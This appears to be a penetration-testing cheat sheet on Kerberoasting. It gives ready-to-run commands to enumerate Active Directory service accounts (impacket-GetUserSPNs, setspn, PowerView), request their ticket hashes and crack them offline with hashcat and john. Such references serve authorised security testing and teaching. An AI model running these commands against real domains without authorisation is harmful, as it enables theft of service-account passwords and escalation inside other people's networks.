Kerberoasting

reference 7 commands 4 tools

Recon
Enumerate
Foothold
PrivEsc
Lateral
Post-Ex

reached from Low-priv domain creds Kerberos ticket

needsLow-priv domain credsKerberos ticket

yieldsCrackable hash

toolsimpacketpowerviewhashcatjohn

What it is

Any authenticated domain user can request service tickets (TGS) for accounts with SPNs. The ticket is encrypted with the service account's password hash → crack offline.

Step 1: Find Kerberoastable accounts (have SPNs)

From Linux:

impacket-GetUserSPNs <DOMAIN>/<USER>:<PASS> -dc-ip <DC-IP> -request | tee scans/kerberoast.txt

From Windows:

setspn -Q */* | findstr /V "CN=krbtgt"

Or with PowerView:

Get-DomainUser -SPN | Select SamAccountName,ServicePrincipalName

Step 2: Request and save hashes

impacket-GetUserSPNs <DOMAIN>/<USER>:<PASS> -dc-ip <DC-IP> -request -outputfile hashes/kerberoast_hashes.txt

Step 3: Crack with hashcat

hashcat -m 13100 hashes/kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt

hashcat -m 13100 hashes/kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Step 4: Crack with john

john --wordlist=/usr/share/wordlists/rockyou.txt hashes/kerberoast_hashes.txt --format=krb5tgs

Priority targets

Service accounts with high-privilege group memberships (check BloodHound).

connected

leads to

AS-REP Roasting

via powerview

ACL / Misconfiguration Exploitation

via hashcat

JWT Attacks

via john

Service Enumeration Deep Dive System Enumeration

in playbooks

Active Directory Attack Path